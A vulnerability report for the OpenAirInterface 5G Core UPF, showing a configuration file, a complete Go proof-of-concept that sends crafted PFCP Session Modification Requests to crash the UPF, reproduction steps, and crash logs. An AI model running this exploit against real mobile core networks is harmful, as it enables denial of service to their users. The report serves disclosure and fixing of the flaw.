[Bug] UPF Crash on PFCP Session Modification Request with Missing UE IPv4 Address in Downlink PDR
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=Yes
Description
A vulnerability in the PFCP Session Modification handling of the OAI 5G Core UPF allows a remote PFCP peer to crash the UPF process by sending a PFCP Session Modification Request that first removes the existing downlink PDR and then creates a new Core downlink PDR whose PDI is missing the required UE IPv4 address. The handler continues to invoke the BPF datapath update even after PDR creation fails, operating on a session with no PDRs, which causes SessionManager::updateBPFSession to throw an uncaught std::runtime_error("No PDR was found in session") and results in termination of the UPF process.
Config
config.yaml
################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1 (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
# contact@openairinterface.org
################################################################################
# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter
############# Common configuration
# Log level for all the NFs
log_level:
general: debug
# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
general: yes
http_version: 2
############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
amf:
host: oai-amf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n2:
interface_name: eth0
port: 38412
smf:
host: oai-smf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n4:
interface_name: eth0
port: 8805
upf:
host: oai-upf
sbi:
port: 8080
api_version: v1
interface_name: eth1
n3:
interface_name: eth0
port: 2152
n4:
interface_name: eth0
port: 8805
n6:
interface_name: eth1
n9:
interface_name: eth0
port: 2152
udm:
host: oai-udm
sbi:
port: 8080
api_version: v1
interface_name: eth0
udr:
host: oai-udr
sbi:
port: 8080
api_version: v1
interface_name: eth0
ausf:
host: oai-ausf
sbi:
port: 8080
api_version: v1
interface_name: eth0
nrf:
host: oai-nrf
sbi:
port: 8080
api_version: v1
interface_name: eth0
#### Common for UDR and AMF
database:
host: mysql
user: test
type: mysql
password: test
database_name: oai_db
generate_random: true
connection_timeout: 300 # seconds
## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
- &embb_slice
sst: 1
############## NF-specific configuration
amf:
pid_directory: "/var/run"
amf_name: "OAI-AMF"
# This really depends on if we want to keep the "mini" version or not
support_features_options:
enable_simple_scenario: no
enable_nssf: no
enable_smf_selection: yes
use_external_udm: no
relative_capacity: 30
statistics_timer_interval: 20 #in seconds
emergency_support: false
served_guami_list:
- mcc: 001
mnc: 01
amf_region_id: 01
amf_set_id: 001
amf_pointer: 01
plmn_support_list:
- mcc: 001
mnc: 01
tac: 0x0001
nssai:
- *embb_slice
supported_integrity_algorithms:
- "NIA1"
- "NIA2"
supported_encryption_algorithms:
- "NEA0"
- "NEA1"
- "NEA2"
smf:
ue_mtu: 1500
support_features:
use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
# we resolve from NRF, this is just to configure usage_reporting
upfs:
- host: oai-upf
config:
enable_usage_reporting: no
ue_dns:
primary_ipv4: "1.1.1.1"
primary_ipv6: "2001:4860:4860::8888"
secondary_ipv4: "8.8.8.8"
secondary_ipv6: "2001:4860:4860::8888"
ims:
pcscf_ipv4: "192.168.70.139"
pcscf_ipv6: "fe80::7915:f408:1787:db8b"
# the DNN you configure here should be configured in "dnns"
# follows the SmfInfo datatype from 3GPP TS 29.510
smf_info:
sNssaiSmfInfoList:
- sNssai: *embb_slice
dnnSmfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
local_subscription_infos:
- single_nssai: *embb_slice
dnn: "oai"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "openairinterface"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "ims"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "default"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
upf:
support_features:
enable_bpf_datapath: off # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off
remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW
smfs:
- host: oai-smf # To be used for PFCP association in case of no-NRF
upf_info:
sNssaiUpfInfoList:
- sNssai: *embb_slice
dnnUpfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
## DNN configuration
dnns:
- dnn: "oai"
pdu_session_type: "IPV4"
ipv4_subnet: "10.0.0.0/24"
- dnn: "openairinterface"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.1.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "ims"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.9.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "default"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.255.0/24"
ipv6_prefix: "2001:1:2::/64"
Steps to reproduce
-
Start a new go project inside a new folder: go mod init poc
-
Create a main.go and paste the code below:
package main /* * POC: Crash caused by missing UE IP Address IE * * Vulnerability description: * During Session Modification, when creating a downlink PDR (Source Interface = Core), * if the UE IP address (IPv4) is missing in the PDI, the PDR creation fails. * This results in the session having no PDRs, and an uncaught exception is thrown * in modifyBpfSession(), causing the process to crash. * * Trigger conditions: * 1. Establish a normal session (including a downlink PDR with UE IP address) * 2. Send a Session Modification Request that removes the old downlink PDR * 3. Create a new downlink PDR but intentionally omit the UE IP address * 4. Trigger crash: std::runtime_error("Session modification failed: No pdr found.") * * Crash location: modifyBpfSession() function * Crash type: std::runtime_error (uncaught) * * Reference code: pfcp_session.cpp:324-332 */ import ( "encoding/hex" "flag" "fmt" "log" "math/rand" "net" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) const ( defaultPFCPPort = 8805 defaultTimeout = 10 * time.Second ) type missingUEIPClient struct { nodeIP net.IP cpSeid uint64 seq uint32 } func (c *missingUEIPClient) nextSeq() uint32 { c.seq++ if c.seq == 0 || c.seq > 0x00ffffff { c.seq = 1 } return c.seq } func (c *missingUEIPClient) baseSessIEs(dnn string) []*ie.IE { // Network Instance is in the PDI, not at the message level return []*ie.IE{ ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewFSEID(c.cpSeid, c.nodeIP, nil), ie.NewPDNType(ie.PDNTypeIPv4), // Network Instance is not at the message level; it is in the PDI } } func (c *missingUEIPClient) sendAssociation(conn *net.UDPConn) error { req := message.NewAssociationSetupRequest( c.nextSeq(), ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewRecoveryTimeStamp(time.Now()), ie.NewCPFunctionFeatures(0x3f), ) payload, err := req.Marshal() if err != nil { return fmt.Errorf("marshal association: %w", err) } if _, err := conn.Write(payload); err != nil { return fmt.Errorf("send association: %w", err) } log.Printf("Sent Association Setup Request") time.Sleep(500 * time.Millisecond) return nil } func (c *missingUEIPClient) buildValidSession(dnn string) (*message.SessionEstablishmentRequest, error) { // Build a normal session including a downlink PDR (with UE IP address) // Key point: UE IP address must be present, otherwise session establishment will fail pdrDownlink := ie.NewCreatePDR( ie.NewPDRID(1), ie.NewPrecedence(32), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceCore), // Downlink (Core = 1) ie.NewNetworkInstance(dnn), // Network Instance is in the PDI ie.NewUEIPAddress(0x02, "192.168.1.100", "", 0, 0), // ✅ Include UE IP address (required) ), ie.NewFARID(1), ) // FAR for downlink farDownlink := ie.NewCreateFAR( ie.NewFARID(1), ie.NewApplyAction(0x02), // FORW (Forward) ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceAccess), // Access = 0 ), ) payload := append([]*ie.IE{}, c.baseSessIEs(dnn)...) payload = append(payload, pdrDownlink, farDownlink) return message.NewSessionEstablishmentRequest(0, 0, c.cpSeid, c.nextSeq(), 0, payload...), nil } func (c *missingUEIPClient) buildSessionModificationMissingUEIP(upfSeid uint64) (*message.SessionModificationRequest, error) { // Key idea: remove the old downlink PDR, then create a new downlink PDR // but the new downlink PDR intentionally does not include a UE IP address to trigger a crash // Remove the old downlink PDR removePDRDownlink := ie.NewRemovePDR(ie.NewPDRID(1)) // Create a new downlink PDR, but intentionally omit the UE IP address. // According to pfcp_session.cpp:324-332, this will cause PDR creation to fail. createPDRDownlinkMissingUEIP := ie.NewCreatePDR( ie.NewPDRID(2), // 新的 PDR ID ie.NewPrecedence(32), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceCore), // Downlink (Core = 1) ie.NewNetworkInstance("internet"), // Network Instance is in the PDI // ⚠️ Intentionally omit UE IP address to trigger crash ), ie.NewFARID(2), ) // FAR for downlink createFARDownlink := ie.NewCreateFAR( ie.NewFARID(2), ie.NewApplyAction(0x02), // FORW (Forward) ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceAccess), // Access = 0 ), ) // Build message: remove old PDR, create new PDR (missing UE IP address) return message.NewSessionModificationRequest( 0, 0, upfSeid, c.nextSeq(), 0, ie.NewFSEID(c.cpSeid, c.nodeIP, nil), removePDRDownlink, // Remove old downlink PDR createPDRDownlinkMissingUEIP, // Create new downlink PDR (missing UE IP address) createFARDownlink, // Add corresponding FAR ), nil } // Manually extract SEID from raw message (used when go-pfcp parsing fails) func extractSEIDFromRaw(raw []byte) (uint64, error) { if len(raw) < 8 { return 0, fmt.Errorf("message too short") } hasSEID := (raw[0] & 0x01) != 0 if !hasSEID { return 0, fmt.Errorf("message does not contain SEID") } if len(raw) < 12 { return 0, fmt.Errorf("message too short for SEID") } // SEID is stored in bytes 4-11 (big-endian) seid := uint64(raw[4])<<56 | uint64(raw[5])<<48 | uint64(raw[6])<<40 | uint64(raw[7])<<32 | uint64(raw[8])<<24 | uint64(raw[9])<<16 | uint64(raw[10])<<8 | uint64(raw[11]) return seid, nil } func parseSessionEstablishmentResponse(raw []byte) (uint64, error) { // Search for F-SEID IE (0x00 0x39) for i := 0; i < len(raw)-4; i++ { if raw[i] == 0x00 && raw[i+1] == 0x39 { if i+12 < len(raw) { ieLength := uint16(raw[i+2])<<8 | uint16(raw[i+3]) if i+4+int(ieLength) <= len(raw) { seid := uint64(raw[i+5])<<56 | uint64(raw[i+6])<<48 | uint64(raw[i+7])<<40 | uint64(raw[i+8])<<32 | uint64(raw[i+9])<<24 | uint64(raw[i+10])<<16 | uint64(raw[i+11])<<8 | uint64(raw[i+12]) log.Printf("Extracted UPF SEID from F-SEID IE: 0x%x", seid) return seid, nil } } } } // Try to parse using go-pfcp library msg, err := message.Parse(raw) if err != nil { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID from message header: 0x%x", seid) return seid, nil } return 0, fmt.Errorf("parse PFCP message: %w", err) } msgType := msg.MessageType() msgTypeName := msg.MessageTypeName() log.Printf("Received PFCP message: Type=%d (%s)", msgType, msgTypeName) if msgType == 6 || msgTypeName == "SessionEstablishmentResponse" { if resp, ok := msg.(*message.SessionEstablishmentResponse); ok { if resp.UPFSEID != nil { fseid, err := resp.UPFSEID.FSEID() if err == nil { return fseid.SEID, nil } } if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually: 0x%x", seid) return seid, nil } } } if msgType != message.MsgTypeSessionEstablishmentResponse && msgType != 6 { if resp, ok := msg.(*message.SessionEstablishmentResponse); ok { if resp.Cause != nil { cause, err := resp.Cause.Cause() if err == nil { return 0, fmt.Errorf("session establishment rejected: cause=%d (message type=%d, %s)", cause, msgType, msgTypeName) } } return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5)", msgType, msgTypeName) } return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5)", msgType, msgTypeName) } resp, ok := msg.(*message.SessionEstablishmentResponse) if !ok { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually (type conversion failed): 0x%x", seid) return seid, nil } return 0, fmt.Errorf("failed to cast message to SessionEstablishmentResponse (type=%d, %s)", msgType, msgTypeName) } if resp.Cause != nil { cause, err := resp.Cause.Cause() if err == nil && cause != 1 { return 0, fmt.Errorf("session establishment failed: cause=%d", cause) } } if resp.UPFSEID == nil { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually (UPFSEID IE missing): 0x%x", seid) return seid, nil } return 0, fmt.Errorf("missing UPF SEID IE in response") } fseid, err := resp.UPFSEID.FSEID() if err != nil { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually (FSEID extraction failed): 0x%x", seid) return seid, nil } return 0, fmt.Errorf("extract UPF SEID: %w", err) } return fseid.SEID, nil } func main() { var ( target = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint") nodeIPStr = flag.String("node-ip", "10.0.0.1", "Local NodeID IPv4") dnn = flag.String("dnn", "internet", "Network Instance / DNN") dump = flag.Bool("dump", false, "Dump crafted PFCP bytes") upfSeid = flag.Uint64("upf-seid", 0, "UPF SEID (skip session establishment if provided)") ) flag.Parse() nodeIP := net.ParseIP(*nodeIPStr) if nodeIP == nil { log.Fatalf("invalid node-ip: %s", *nodeIPStr) } addr, err := net.ResolveUDPAddr("udp", *target) if err != nil { log.Fatalf("resolve UDP addr: %v", err) } conn, err := net.DialUDP("udp", nil, addr) if err != nil { log.Fatalf("dial PFCP: %v", err) } defer conn.Close() rand.Seed(time.Now().UnixNano()) cpSeid := uint64(rand.Uint32())<<32 | uint64(rand.Uint32()) client := &missingUEIPClient{ nodeIP: nodeIP, cpSeid: cpSeid, seq: uint32(rand.Intn(0x00ffffff)), } // Step 1: Association Setup if err := client.sendAssociation(conn); err != nil { log.Printf("association setup failed: %v", err) } conn.SetReadDeadline(time.Now().Add(2 * time.Second)) assocBuf := make([]byte, 2048) if n, err := conn.Read(assocBuf); err == nil { log.Printf("Received Association Setup Response (%d bytes)", n) } else { log.Printf("No Association Setup Response received (continuing anyway): %v", err) } time.Sleep(500 * time.Millisecond) // Step 2: Session Establishment (build a normal session including downlink PDR) var upfSeidValue uint64 if *upfSeid != 0 { upfSeidValue = *upfSeid log.Printf("Using provided UPF SEID: 0x%x", upfSeidValue) log.Printf("Skipping Session Establishment Request") } else { estReq, err := client.buildValidSession(*dnn) if err != nil { log.Fatalf("build session: %v", err) } payload, err := estReq.Marshal() if err != nil { log.Fatalf("marshal session: %v", err) } if *dump { fmt.Printf("Session Establishment Request (%d bytes):\n%s\n", len(payload), hex.Dump(payload)) } if _, err := conn.Write(payload); err != nil { log.Fatalf("send session: %v", err) } log.Printf("Sent Session Establishment Request (F-SEID=0x%x)", client.cpSeid) log.Printf(" - PDR 1: Downlink (Source Interface = Core)") log.Printf(" - UE IP Address: 192.168.1.100 (included)") conn.SetReadDeadline(time.Now().Add(defaultTimeout)) buf := make([]byte, 2048) n, err := conn.Read(buf) if err != nil { log.Printf("ERROR: Failed to read session response: %v", err) log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag") log.Fatalf("Cannot proceed without UPF SEID") } if *dump { fmt.Printf("Session Establishment Response (%d bytes):\n%s\n", n, hex.Dump(buf[:n])) } else { log.Printf("Raw response (%d bytes):\n%s", n, hex.Dump(buf[:n])) } upfSeidValue, err = parseSessionEstablishmentResponse(buf[:n]) if err != nil { log.Printf("WARNING: Failed to parse session response: %v", err) if len(buf) >= 12 && (buf[0]&0x01) != 0 { seid := uint64(buf[4])<<56 | uint64(buf[5])<<48 | uint64(buf[6])<<40 | uint64(buf[7])<<32 | uint64(buf[8])<<24 | uint64(buf[9])<<16 | uint64(buf[10])<<8 | uint64(buf[11]) log.Printf("Extracted SEID from message header: 0x%x", seid) upfSeidValue = seid err = nil } else { log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag") log.Fatalf("Cannot proceed without UPF SEID") } } if err == nil { log.Printf("✓ Successfully extracted UPF SEID: 0x%x", upfSeidValue) } time.Sleep(500 * time.Millisecond) } // Step 3: Session Modification - remove old downlink PDR, create new downlink PDR (missing UE IP address) log.Printf("") log.Printf("=== Triggering Missing UE IP Address Crash ===") log.Printf("Strategy: Remove old downlink PDR, create new downlink PDR without UE IP address") log.Printf("Expected: PDR creation fails, session has no PDR, throws uncaught exception") log.Printf("Crash point: modifyBpfSession() - std::runtime_error(\"Session modification failed: No pdr found.\")") modReq, err := client.buildSessionModificationMissingUEIP(upfSeidValue) if err != nil { log.Fatalf("build modification: %v", err) } payload, err := modReq.Marshal() if err != nil { log.Fatalf("marshal modification: %v", err) } if *dump { fmt.Printf("Session Modification Request (Missing UE IP) (%d bytes):\n%s\n", len(payload), hex.Dump(payload)) } if _, err := conn.Write(payload); err != nil { log.Fatalf("send modification: %v", err) } log.Printf("[MISSING_UE_IP_CRASH] Sent Session Modification Request") log.Printf(" - Remove PDR 1 (Downlink with UE IP)") log.Printf(" - Create PDR 2 (Downlink WITHOUT UE IP address) ⚠️") log.Printf(" - Create FAR 2 (for new Downlink PDR)") log.Printf("Expected: UPF crashes when checking for PDRs in session") log.Printf("Crash type: std::runtime_error (uncaught) at modifyBpfSession()") log.Printf("Error message: \"Session modification failed: No pdr found.\"") // Wait for response (if UPF crashes, there will be no response) conn.SetReadDeadline(time.Now().Add(defaultTimeout)) buf := make([]byte, 2048) n, err := conn.Read(buf) if err != nil { log.Printf("No response received (UPF may have crashed): %v", err) log.Printf("✓ Missing UE IP address crash likely triggered!") log.Printf("") log.Printf("Expected crash sequence:") log.Printf(" 1. Remove PDR 1 (success)") log.Printf(" 2. Create PDR 2 (fails: missing UE IP address)") log.Printf(" 3. Session has no PDR") log.Printf(" 4. modifyBpfSession() throws: std::runtime_error(\"Session modification failed: No pdr found.\")") log.Printf(" 5. Exception not caught → program crashes") } else { log.Printf("Received response: %d bytes (UPF survived)", n) if *dump { fmt.Printf("Response:\n%s\n", hex.Dump(buf[:n])) } log.Printf("⚠ UPF did not crash - may need to adjust POC") } } -
Download required libraries:
go mod tidy -
Run the program with the upf pfcp server address:
go run main.go -target 192.168.70.134:8805 -node-ip 10.0.0.1 -dnn internet -upf-seid 0x1 -dump
Logs
[2025-11-30 10:09:43.749] [upf_app] [info] HTTP Client successfully initiated on interface eth0 with timeout 3000 ms, HTTP version 2
[2025-11-30 10:09:43.749] [common] [start] Starting...
[2025-11-30 10:09:43.749] [common] [start] Started
[2025-11-30 10:09:43.749] [asc_cmd] [start] Starting...
[2025-11-30 10:09:43.749] [common] [info] Starting timer_manager_task
[2025-11-30 10:09:43.750] [asc_cmd] [start] Started
[2025-11-30 10:09:43.750] [upf_app] [start] Starting...
[2025-11-30 10:09:43.751] [udp ] [debug] Creating new listen socket on address 192.168.70.134 and port 8805
[2025-11-30 10:09:43.751] [udp ] [debug] udp_server::udp_server(192.168.70.134:8805)
[2025-11-30 10:09:43.751] [udp ] [debug] Creating new listen socket on address 192.168.70.134 and port 0
[2025-11-30 10:09:43.751] [udp ] [debug] udp_server::udp_server(192.168.70.134:0)
[2025-11-30 10:09:43.751] [pfcp ] [info] pfcp_l4_stack created listening to 192.168.70.134:8805
[2025-11-30 10:09:43.751] [upf_n4 ] [start] Starting...
[2025-11-30 10:09:43.753] [upf_n4 ] [start] Started
[2025-11-30 10:09:43.753] [upf_app] [start] Started
[2025-11-30 10:09:43.753] [upf_app] [info] GTP interface: eth0
[2025-11-30 10:09:43.753] [upf_app] [info] Non-GTP interface: eth1
[2025-11-30 10:09:43.753] [upf_app] [info] Initializing PFCP Session Lookup BPF program...
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_upf_interfaces with max_entries=3
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_redirect_interfaces with max_entries=2
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_session_mapping with max_entries=10000
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_session_pdrs with max_entries=8
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_sdf_filter with max_entries=8
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_arp_table with max_entries=2
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_rules_match_pdr with max_entries=80000
[2025-11-30 10:09:43.756] [upf_app] [debug] Configured map m_qos_enabling with max_entries=10000
[2025-11-30 10:09:43.766] [upf_n4 ] [info] handle_receive(39 bytes)
[2025-11-30 10:09:43.766] [upf_n4 ] [info] Received SX ASSOCIATION SETUP RESPONSE
[2025-11-30 10:09:43.791] [upf_app] [debug] Configure redirect interface
[2025-11-30 10:09:43.791] [upf_app] [debug] The key is updated in the map: m_redirect_interfaces
[2025-11-30 10:09:43.791] [upf_app] [debug] The key is updated in the map: m_redirect_interfaces
[2025-11-30 10:09:43.791] [upf_app] [debug] Adding Reference Points to m_upf_interface Map
[2025-11-30 10:09:43.791] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-30 10:09:43.791] [upf_app] [info] Reference Point N3 Added to m_upf_interface Map
[2025-11-30 10:09:43.791] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-30 10:09:43.791] [upf_app] [info] Reference Point N6 Added to m_upf_interface Map
[2025-11-30 10:09:43.791] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-30 10:09:43.791] [upf_app] [info] Reference Point N4 Added to m_upf_interface Map
[2025-11-30 10:09:43.791] [upf_app] [debug] Link GTP XDP Section to interface eth0
[2025-11-30 10:09:43.791] [upf_app] [info] BPF program xdp_handle_uplink hooked in eth0 XDP interface
[2025-11-30 10:09:43.791] [upf_app] [debug] Link Non-GTP XDP Section to interface eth1
[2025-11-30 10:09:43.791] [upf_app] [debug] QoS enforcement is disabled in the configuration.
[2025-11-30 10:09:43.791] [upf_app] [info] BPF program xdp_handle_downlink hooked in eth1 XDP interface
[2025-11-30 10:09:43.791] [upf_app] [debug] The key is updated in the map: framed_routing_flag
[2025-11-30 10:09:48.752] [upf_n4 ] [info] TIME-OUT event timer id 2
[2025-11-30 10:09:53.758] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-11-30 10:09:53.758] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-11-30 10:10:03.758] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-11-30 10:10:03.758] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-11-30 10:10:05.320] [upf_n4 ] [info] handle_receive(30 bytes)
[2025-11-30 10:10:05.320] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-11-30 10:10:06.321] [upf_n4 ] [info] handle_receive(129 bytes)
[2025-11-30 10:10:06.321] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xcf3f37404f9bd147
[2025-11-30 10:10:06.321] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1
[2025-11-30 10:10:06.322] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x1
[2025-11-30 10:10:06.322] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-11-30 10:10:06.322] [upf_app] [debug] sessionManager::createBpfSession() seid 0x1
[2025-11-30 10:10:06.322] [upf_app] [debug] Processing PDR 1 on establishment
[2025-11-30 10:10:06.322] [upf_app] [warning] FTEID is missing for PDR 1. CH bit: Not Set
[2025-11-30 10:10:06.322] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-11-30 10:10:06.322] [upf_app] [debug] Missing qer for pdr 1
[2025-11-30 10:10:06.322] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-11-30 10:10:06.322] [upf_app] [debug] SDF Filter Lengh (0)
[2025-11-30 10:10:06.322] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-11-30 10:10:06.322] [upf_app] [debug] Session seid 0x1 successfully created
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions: |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
| SEID |pdr | far |predence| action | create outer hdr tun id| rmv outer hdr tun id| UE IPv4 | |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|COR>---->ACC|none |none |192.168.1.100 |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
[2025-11-30 10:10:06.322] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-11-30 10:10:06.322] [upf_app] [debug] same subnet
[2025-11-30 10:10:06.322] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-11-30 10:10:06.823] [upf_n4 ] [info] handle_receive(116 bytes)
[2025-11-30 10:10:06.823] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x1
[2025-11-30 10:10:06.823] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-11-30 10:10:06.823] [upf_app] [info] Modify datapath:remove(pdr)
[2025-11-30 10:10:06.823] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x1
[2025-11-30 10:10:06.823] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-11-30 10:10:06.823] [upf_app] [debug] Retrieving teid from session seid 0x1
[2025-11-30 10:10:06.823] [upf_app] [warning] No valid teid found for session seid 0x1
[2025-11-30 10:10:06.823] [upf_app] [debug] modifyBpfSession:: add(far)
[2025-11-30 10:10:06.823] [upf_app] [debug] Delete pdr
[2025-11-30 10:10:06.823] [upf_app] [debug] pdr and far map entries are obsolete and need to be deleted
[2025-11-30 10:10:06.823] [upf_app] [debug] Remove PDR with id 1
[2025-11-30 10:10:06.823] [upf_app] [debug] Found PDR with id 1 in list 'pdrs'
[2025-11-30 10:10:06.823] [upf_n4 ] [info] pfcp_session::remove(pdr) seid 0x1
[2025-11-30 10:10:06.823] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1
[2025-11-30 10:10:06.823] [upf_n4 ] [info] Could not create_packet_in_access, cause accept only IPv4 UE IP address! Rejecting PFCP_XXX_REQUEST
[2025-11-30 10:10:06.823] [upf_app] [info] Modify datapath
[2025-11-30 10:10:06.823] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x1
[2025-11-30 10:10:06.823] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-11-30 10:10:06.823] [upf_app] [error] No pdr found in session seid 0x1
terminate called after throwing an instance of 'std::runtime_error'
what(): Session modification failed: No pdr found.
[2025-11-30 10:10:06.824] [upf_app] [debug] There are some programs in LINKED state
[2025-11-30 10:10:06.824] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
[2025-11-30 10:10:06.824] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-30 10:10:06.824] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-30 10:10:06.824] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-30 10:10:06.824] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-30 10:10:06.824] [system ] [info] Caught signal 11
[2025-11-30 10:10:06.824] [common] [info] Waiting ITTI tasks closed
[2025-11-30 10:10:06.824] [asc_cmd] [info] Received terminate message
[2025-11-30 10:10:06.824] [upf_n4 ] [info] Received terminate message
terminate called recursively
Expected Behaviour
The UPF should not crash when receiving a malformed PFCP Session Modification Request. If the new Core downlink PDR’s PDI is missing a required UE IPv4 address: The request should be rejected with an appropriate PFCP cause (e.g. CAUSE_VALUE_REQUEST_REJECTED / CAUSE_VALUE_CONDITIONAL_IE_MISSING). The session should remain in a consistent state (either keep the original PDRs or cleanly tear down the session). call_datapath / SessionManager::updateBPFSession should only be invoked when the session has at least one valid PDR, and any internal errors should be handled gracefully (logged and reflected in the PFCP response), not by crashing the process.
Observed Behaviour
-
The Session Modification Request: Removes the existing valid downlink PDR via
RemovePDR. Attempts to create a new Core downlink PDR without a UE IPv4 address in the PDI, causingpfcp_session::create()to fail and log that only IPv4 UE IP is accepted. Despite the failure and the now-empty PDR list, the code still unconditionally calls:call_datapath(..., &SessionManager::updateBPFSession); -
SessionManager::updateBPFSessionfinds bothpdrs_uplinkandpdrs_downlinkempty, logs “No PDR was found in session”, throwsstd::runtime_error, and the exception is not caught in the PFCP handling path. The UPF process terminates (signal 11), allowing a remote PFCP peer to reliably trigger a DoS by sending a crafted PFCP Session Modification Request of this form.